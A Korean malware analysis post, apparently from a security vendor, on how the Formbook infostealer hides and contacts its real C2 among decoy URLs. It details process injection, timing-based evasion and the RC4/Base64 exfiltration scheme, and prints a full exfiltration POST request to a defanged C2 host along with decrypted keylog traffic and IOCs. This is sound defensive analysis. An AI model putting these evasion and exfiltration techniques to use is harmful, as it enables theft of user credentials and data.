대다수의 악성코드는 공격자의 명령 수신과 추가 악성 행위를 위해 C2(Command & Control server)를 활용한다. 공격자의 입장에서는 AV 제품의 감시망을 뚫고 사용자 PC에 악성코드를 감염시켜도 C2 접속이 차단되면 무용지물이다. 따라서 C2 정보 파악을 어렵게 하기 위해 가짜 C2와 통신을 하거나, 단 한 개라도 작동을 보장하기 위해 많은 수의 C2를 사용하는 등의 다양한 기법을 사용한다. Formbook 악성코드는 이렇게 C2 파악이 어려운 대표적인 악성코드이다. 본 게시글에서는 Formbook 악성코드의 C2 통신 방식과, 진짜 C2를 판별하는 방법 등을 공유하고자 한다.
Formbook 악성코드는 현재까지도 대량으로 유포 중인 악성코드이며, 매 주 업로드 되는 ASEC 주간 악성코드 통계에도 꾸준히 상위에 이름을 올린다. 해당 악성코드는 C2 확인을 어렵게 하기 위해 여러 개의 URL 리스트를 가지고 있다. 이 중 하나 만이 실제 악성 행위를 수행할 수 있는 C2 이고, 나머지는 가짜 C2 이다. C2의 노출을 막기 위해 일정 시간 간격으로 리스트의 모든 URL에 동일한 방식으로 통신을 시도한다. 최근 유포되는 샘플 중에서는 실제 C2의 접속은 고의적으로 늦게 발현시켜 C2 탐지를 어렵게 하는 행위가 발견되기도 한다.
Formbook 악성코드는 다양한 외형으로 패킹되어 이메일의 첨부파일, 악성 매크로 문서 등을 통해 주로 유포된다.
감염 시 일정 시간 행위 지연 후 System32(SysWOW64) 디렉토리 내의 정상 exe 파일을 무작위로 골라 실행한 뒤 악성 코드를 인젝션한다. 인젝션 이후에는 [그림 1]과 같이 PE 헤더를 고의적으로 손상시켜 덤프 툴 등에 탐지되지 않도록 한다.

이후 실행 중인 explorer.exe 프로세스에 C2 통신과 관련된 악성코드를 인젝션한다. 모니터링 툴로 확인 시 ntdll.dll로 표기되나 실제로는 C2 통신을 위한 악성 코드가 인젝션되어 별도의 스레드로 실행되고 있다.

Formbook은 인포스틸러 유형의 악성코드로, 각종 사용자 정보 및 입력 데이터, 스크린샷 등을 C2로 전송하는 행위를 한다. 이러한 정보 수집 및 파일 드롭 행위는 System32 디렉토리의 프로세스에 인젝션된 악성코드가 수행하고, explorer.exe에 인젝션된 악성코드는 드롭되는 각종 데이터를 C2로 전송하거나, 공격자의 명령을 수신하는 기능을 한다.
접속 URL 리스트는 관련 설정 데이터와 함께 explorer.exe의 특정 메모리 영역에 존재한다. explorer.exe 프로세스 메모리의 문자열을 추출하면 다음 [그림 3]과 같이 Formbook 악성코드가 사용하는 URL을 확인할 수 있다. 16개의 URL이 존재하며 그중 표시된 URL이 C2이다.

Formbook 악성코드는 위와같이 메모리에 존재하는 URL을 차례로 접속하는 행위를 반복한다. 최근 유포되는 샘플 중에서는 반복 중 특정 인덱스의 URL 접속은 건너 뛰어 고의적으로 실제 C2와의 통신을 지연시키는 행위가 발견되기도 한다.


[그림 4]는 0x7 번째 인덱스의 URL은 접속을 건너 뛰도록 설정 되어있는 메모리 구조이다. 해당 값은 샘플마다 다르다. 현재까지 확인된 샘플들은 모두 실제 C2에 해당하는 인덱스를 건너 뛰도록 구성되어 있었다. [그림 5]의 코드를 보면 접속을 6번 건너 뛴 이후후부터 접속 가능하도록 구성해 놓았다. 즉 16개 URL중 해당 URL을 제외한 15개의 URL을 6번씩 접속한 이후 반복 부터 실제 C2와의 통신이 이루어 지게 된다. 이는 실행 시간이 한정적인 샌드박스 등의 환경에서 C2 접속 기록을 남기지 않도록 하기 위함으로 추정된다.
[API 후킹]
Formbook 악성코드는 explorer.exe 에 로드된 USER32.DLL에서 다음 API를 후킹한다.
- GetMessageA
- GetMessageW
- PeekMessageA
- PeekMessageW

후킹 함수에서는 WM_TIMER 메시지의 발생 횟수에 따라 내부적으로 카운터로 사용되는 변수 값을 1 씩 늘려주는데, 이 값을 사용해서 실행 흐름을 조절한다. 따라서 일반적인 Sleep 우회나 시스템 시간 변경 등으로는 실행 지연을 무력화할 수 없다. 본 샘플에서는 카운터 값이 0x190 이상이 되었을 때 특정 변수를 체크 후 Program Files 디렉토리로 악성코드를 자가복제 하는 행위를 한다.
또한 System32 프로세스에 인젝션된 악성코드가 주기적으로 증가시키는 변수도 존재한다. 이는 explorer.exe의 C2 접속을 지연시키는 기능을 한다. System32 프로세스는 재매핑한 ntdll.dll에서 ZwDelayExecution() 함수를 호출하여 실행 지연 후 특정 변수 값을 +1 하는 행위를 반복한다. explorer.exe의 악성코드는 해당 값을 읽어 특정 값 이상이 되었을 때 C2 접속 행위를 수행하고 0으로 초기화시킨다. 이러한 연계 행위로 인해 일정 시간 간격을 두고 C2 통신을 반복할 수 있다. 간격은 보통 20초 정도이다. 또한 만일 인젝션된 System32 프로세스가 종료되면 C2 접속행위는 발생하지 않는다.


[C2 파일 전송]
키로깅 데이터, 캡쳐 화면 등 탈취한 정보를 C2로 전송하기 위한 과정이다. 해당 과정은 주기적으로 반복 수행된다. POST 방식을 사용한다.
%appdata% 하위에 특정 이름의 폴더를 생성 후 해당 폴더 안에 특정 파일이 존재하는지 여부를 확인한다. 여기서 사용되는 파일명은 샘플 마다 다르다. 탐색 대상 파일명은 아래와 같다.
예시) %appdata%\ABCD\ABClog.ini
- [파일명]+cl.ini
- [파일명]+ro.ini
- [파일명]+rv.ini
- [파일명]+rm.ini
- [파일명]+rc.ini
- [파일명]+rg.ini
- [파일명]+rt.ini
- [파일명]+ri.ini
- [파일명]+im.jpeg

위 파일들은 system32 폴더의 정상 프로세스에 인젝션된 악성코드가 생성할 수 있으며 각 파일별로 저장되는 정보가 다르다. 예를 들어 ~log.ini 파일에는 사용자 키로깅 데이터, ~logri.ini에는 IE 관련 정보, ~logrc.ini에는 크롬 관련 정보, ~logim.jpeg에는 스크린샷 이미지가 저장된다.

explorer.exe에 인젝션된 악성 코드는 주기적으로 해당 디렉토리를 검사하며 대상 파일이 존재하는 경우 차례로 모든 URL에 전송한다. C2에 전송을 완료한 뒤에는 파일을 삭제한다. 전송 시 데이터를 암호화하여 전송하는데, 과정은 다음과 같다.
[데이터 암호화]
C2에 전송되는 데이터는 몇가지 절차에 따라 암호화되어 전송된다. RC4 알고리즘으로 암호화한 뒤 Base64 인코딩 한다. 이후 특정 문자를 치환 후 특정 양식에 맞게 이어붙힌다. 이후 동일 과정을 한번 더 반복하여 암호화한 뒤 인자에 추가한다. 여기서 RC4의 키 값은 explorer.exe 메모리 중 C2 주소 가 존재하는 영역에 [그림 11]과 같은 형식으로 저장되며, 전송되는 URL 별로 다른 값을 가진다. 문자열 치환 과정은 [그림 12]와 같다. ‘+’ –> ‘-‘ 또는 ‘~’, ‘/’ –> ‘_’ 또는 ‘(‘ , ‘=’ –> ‘.’ 또는 ‘)’ 로 치환한다.


C2로 전송할 암호화된 데이터가 준비 되면 하드코딩 되어있는 HTTP 헤더를 불러와 이어 붙인 다음 암호화된 데이터를 추가한 후 전송한다.
최종적으로 완성된 요청 패킷은 다음과 같은 형식이다.
POST /lsg/ HTTP/1.1 Host: www[.]bakldx[.]com Connection: close Content-Length: 524633 Cache-Control: no-cache Origin: hxxp://www.bakldx[.]com User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) Content-Type: application/x-www-form-urlencoded Accept: / Referer: hxxp://www.bakldx[.]com/lsg/ Accept-Language: en-US Accept-Encoding: gzip, deflate MZfxV4o=pWZ35rhV9kSF6BjBMM6sZh0ums2ds7Xs7fc-LNO0lJvGOV8glpobv-M37gIZ80dVn6MRTIN2L9cAE0bSupF28ll6MltKg2cFewTLVksWkL9K2rgKhE4t9AhwZgPs70raXl4QIJoL9KChJMDYD0cpy5n77XOgtlYR1prM76uyeMlMc2Rl4ZFZ6ScuKHumfIAoh… (후략)puXnURy-FHs7uOBVD3AGMlcukVWcBeRi3874zMUuRMdcYq |
[C2 접속 (공격자 명령 수신)]
주기적으로 URL 리스트에 접속하며 공격자의 명령 하달을 대기한다. 이 때는 파일 전송과는 다르게 GET 방식을 사용한다. C2에서는 평시에는 404 Not Found를 응답하지만 공격자의 명령이 존재할 경우 다음과 같이 200 OK를 응답하며 “FBNG” 문자열로 시작하는 명령 데이터를 응답한다.


C2로부터 수신한 데이터는 RC4 암호화 되어있으며 암호화 키는 C2 전송과정에서 사용되는 키와 동일하다.
[C2 전송 데이터]
C2에 정보 전송시 RC4 알고리즘과 Base64 인코딩, 그리고 문자 치환을 사용한다고 하였다. 따라서 이 과정을 역으로 수행하면 송신 데이터의 복호화가 가능하다.
암호화된 데이터 -> 문자열 역치환 -> Base64 디코딩 -> RC4 복호화 -> 원본 데이터
- C2 전송 데이터 – POST

aL12jYI_sPU3iA3vOkrGGaXF5_XvFnZRIhg4T58XNfAiUuEONkRClGIBfNhY52uao0QxoRHoMu~CRoXYFHMQdV1CIoTAzDsYufrfoHIhYBKLymtqm_ir9YRv4ytvrefAmmKhcAO2~K~KK_MRFYAoUarD5yVsdnzq1_pttss14o2slSmMSIamxia9AzI7fNfA35mtZ65w8U9Zc1KioQDpNO98n09Pi_V6nfh2cDo_gaMmjhyz7KxKSDynxxQrDroDevdksdRXnXQdvLG5iNd5VlkQ~7PdBevLc0YL5CBBHxfrAnVFgRgyT9v5XjWXUCxlXg) | |
문자열 역치환 | aL12jYI/sPU3iA3vOkrGGaXF5/XvFnZRIhg4T58XNfAiUuEONkRClGIBfNhY52uao0QxoRHoMu+CRoXYFHMQdV1CIoTAzDsYufrfoHIhYBKLymtqm/ir9YRv4ytvrefAmmKhcAO2+K+KK/MRFYAoUarD5yVsdnzq1/pttss14o2slSmMSIamxia9AzI7fNfA35mtZ65w8U9Zc1KioQDpNO98n09Pi/V6nfh2cDo/gaMmjhyz7KxKSDynxxQrDroDevdksdRXnXQdvLG5iNd5VlkQ+7PdBevLc0YL5CBBHxfrAnVFgRgyT9v5XjWXUCxlXg= |
B64 디코딩 | 68 BD 76 8D 82 3F B0 F5 37 88 0D EF 3A 4A C6 19 A5 C5 E7 F5 EF 16 76 51 22 18 38 4F 9F 17 35 F0 22 52 E1 0E 36 44 42 94 62 01 7C D8 58 E7 6B 9A A3 44 31 A1 11 E8 32 EF 82 46 85 D8 14 73 10 75 5D 42 22 84 C0 CC 3B 18 B9 FA DF A0 72 21 60 12 8B CA 6B 6A 9B F8 AB F5 84 6F E3 2B 6F AD E7 C0 9A 62 A1 70 03 B6 F8 AF 8A 2B F3 11 15 80 28 51 AA C3 E7 25 6C 76 7C EA D7 FA 6D B6 CB 35 E2 8D AC 95 29 8C 48 86 A6 C6 26 BD 03 32 3B 7C D7 C0 DF 99 AD 67 AE 70 F1 4F 59 73 52 A2 A1 00 E9 34 EF 7C 9F 4F 4F 8B F5 7A 9D F8 76 70 3A 3F 81 A3 26 8E 1C B3 EC AC 4A 48 3C A7 C7 14 2B 0E BA 03 7A F7 64 B1 D4 57 9D 74 1D BC B1 B9 88 D7 79 56 59 10 FB B3 DD 05 EB CB 73 46 0B E4 20 41 1F 17 EB 02 75 45 81 18 32 4F DB F9 5E 35 97 50 2C 65 5E |
RC4 복호화 | dat=V9w-sPkGg9gh2AqoAHP6cauEu5rqXkNnLXkQCrEie4FXOetgHxxFxXxzNLE30yDC5iGZBJ08aqne2KUbej94Rk07JcedpQ5ClLCCmHZQA3ezgU4In5LhwaUE8xxEztmkrzP6Mxv63uyVY_RAJLMsK76WoGx1Q1~C0ptc89NN~8il4SDnV_yQ8ADFBgQoCc~W9caZJoA85zxXRAr1ukf0BcxNvAw.&un=ZWphZWlu&br=9 |
과정 반복 | [<-Del][<-Del][<-Del] 시계 오류 – Chrome pass a[Enter]password asdmfks asfd[Enter] |
전송된 데이터는 수집된 키 로깅 정보(~.log.ini 파일)이다.
- C2 전송 데이터 – GET
C2에 접속시 함께 전송되는 데이터의 복호화 결과는 다음과 같다. 주기적인 GET 방식을 통한 C2 접속 시에는 문자열 치환 과정은 생략된다.

RqqK14md3BPQJbjlCgKStScAqqp9UcfFAXijgCjF1F72H4lAflue71+0IlURIU+N | |
B64 디코딩 | 46 AA 8A D7 89 9D DC 13 D0 25 B8 E5 0A 02 92 B5 27 00 AA AA 7D 51 C7 C5 01 78 A3 80 28 C5 D4 5E F6 1F 89 40 7E 5B 9E EF 5F B4 22 55 11 21 4F 8D |
RC4 복호화 | FBNG:89A440BF4.1:Windows 7 Ultimate x86:dm11c2Vy |
시그니처:감염PC고유값:OS버전:사용자이름
[Formbook C2의 특징]
여러 URL 중 Fake C2 를 제외하고 Real C2 만이 갖는 특징이 있다. 접속 시 200 OK 와 함께 “FBNG” 문자열로 시작하는 데이터를 응답한 기록이 있다면 C2이다.
C2 접속 시 응답하는 404 Not Found 에러 페이지는 다음과 같이 경로명이 명시된다는 특징이 있다.

해당 경로명이 아닌 무작위 값을 넣어 요청할 경우 다른 형식의 에러 메시지가 출력된다.

C2의 도메인에 접속 시 다음과 같은 페이지가 출력된다.
- Ubuntu Apache 기본 페이지

- Index Of 페이지

- Namecheap 위장 페이지

Formbook 악성코드는 2017년 처음 보고된 이후 아직까지도 꾸준히 많은 수량이 유포되고 있어 사용자의 주의가 필요하다. 한편 안랩 V3 제품군에서는 해당 악성코드를 다음과 같은 진단으로 차단하고 있다.

메모리진단
Trojan/Win.Formbook.XM52
행위진단
Malware/MDP.Injection,M3509
[IOC 정보]
c104044d57e0a8e214556532e8f9263d
ef95958b2a1e0cf48f4fb44e8795cc62
www[.]naigves[.]com/gbl/
www[.]bakldx[.]com/llc/
Categories:악성코드 정보
[…] C&C サーバーに送信する。それ以外にも Formbook[5] […]
[…] 주기적으로 스크린샷을 캡쳐하여 C&C 서버에 전송한다. 이외에도 Formbook[5]도 탈취 대상 정보에 스크린샷이 포함되어 […]
[…] Formbook 악성코드의 C2 통신 방식 […]